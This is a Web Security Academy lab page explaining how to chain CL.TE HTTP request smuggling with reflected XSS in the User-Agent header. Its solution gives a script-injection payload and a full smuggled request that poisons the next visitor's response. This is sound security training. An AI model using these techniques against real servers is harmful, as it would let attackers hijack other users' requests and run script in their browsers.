Burp Suite Enterprise Edition is now available in our secure Cloud  –  Learn more

Lab: Exploiting HTTP request smuggling to deliver reflected XSS

PRACTITIONER

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).

Notes

  • Although the lab supports HTTP/2, the intended solution requires techniques that are only possible in HTTP/1. You can manually switch protocols in Burp Repeater from the Request attributes section of the Inspector panel.
  • The lab simulates the activity of a victim user. Every few POST requests that you make to the lab, the victim user will make their own request. You might need to repeat your attack a few times to ensure that the victim user's request occurs as required.

Tip

Manually fixing the length fields in request smuggling attacks can be tricky. Our HTTP Request Smuggler Burp extension was designed to help. You can install it via the BApp Store.

Solution

  1. Visit a blog post, and send the request to Burp Repeater.
  2. Observe that the comment form contains your User-Agent header in a hidden input.
  3. Inject an XSS payload into the User-Agent header and observe that it gets reflected:

    "/><script>alert(1)</script>
  4. Smuggle this XSS request to the back-end server, so that it exploits the next visitor:

    POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 150 Transfer-Encoding: chunked 0 GET /post?postId=5 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1

Note

Note that the target user only browses the website intermittently so you may need to repeat this attack a few times before it's successful.

Community solutions

Michael Sommer